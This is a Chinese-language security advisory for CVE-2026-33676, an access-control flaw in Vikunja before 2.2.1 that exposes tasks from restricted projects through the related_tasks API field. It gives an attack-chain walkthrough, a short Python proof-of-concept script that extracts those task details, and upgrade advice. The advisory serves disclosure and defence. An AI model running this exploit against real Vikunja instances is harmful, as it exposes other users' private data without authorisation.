IPBUF安全漏洞报告
English
CVE-2026-33676 CVSS 6.5 中危

CVE-2026-33676 Vikunja越权读取漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33676
漏洞类型
越权读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

信息泄露越权读取IDORVikunja权限绕过

漏洞概述

Vikunja是一款开源的自托管任务管理平台。在2.2.1版本之前,该系统存在严重的信息泄露漏洞。当API返回任务数据时,会自动填充`related_tasks`字段,但系统未校验用户对关联任务所属项目的读取权限。已认证的攻击者只需读取一个具有跨项目关联的任务,即可获取其无权访问项目中的完整任务详情,包括标题、描述、截止日期等敏感信息。

技术细节

该漏洞是由于Vikunja后端API在处理任务对象序列化时的权限校验逻辑缺失造成的。具体地,当用户请求查看某个任务时,系统不仅返回该任务的信息,还会自动查询并填充`related_tasks`字段。在这个过程中,系统仅验证了用户对当前请求任务(主任务)的读取权限,而没有对关联任务进行独立的权限检查。由于Vikunja支持跨项目的任务关联,攻击者可以利用这一点,通过访问自己有权限的任务,间接获取到其无权访问的其他项目中的关联任务详情。利用方式非常简单,攻击者只需发送标准的API请求,解析返回的JSON数据即可获取敏感信息。这违反了最小权限原则,导致了水平越权访问。

攻击链分析

STEP 1
Reconnaissance
攻击者识别出目标系统使用的是Vikunja任务管理平台,且版本低于2.2.1。
STEP 2
Authentication
攻击者使用低权限账号登录系统,获取有效的JWT Token或Session。
STEP 3
Exploitation
攻击者遍历其有权限访问的任务,向API发送请求获取任务详情。
STEP 4
Data Exfiltration
攻击者解析API响应中的`related_tasks`字段,提取出无权访问的其他项目中的敏感任务信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Vikunja < 2.2.1 - Information Disclosure via Related Tasks # Description: Retrieve details of tasks in restricted projects via cross-project relations. TARGET_URL = "http://localhost:3456/api/v1" AUTH_TOKEN = "YOUR_JWT_TOKEN_HERE" # Obtain after login # Step 1: Fetch a task that has cross-project relations # The user needs read access to this specific task task_id = 1 headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } response = requests.get(f"{TARGET_URL}/tasks/{task_id}", headers=headers) if response.status_code == 200: data = response.json() # Check the 'related_tasks' field if 'related_tasks' in data and data['related_tasks']: print("Successfully retrieved related tasks:") for task in data['related_tasks']: # This task might belong to a project the user has no access to print(f"Task ID: {task['id']}, Title: {task['title']}, Project ID: {task.get('project_id')}") print(f"Description: {task.get('description')}") else: print("No related tasks found or field not populated.") else: print(f"Failed to fetch task. Status: {response.status_code}")

影响范围

Vikunja < 2.2.1

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应严格限制用户账号的任务创建与关联权限,并监控异常的API访问请求,但这无法从根本上解决漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表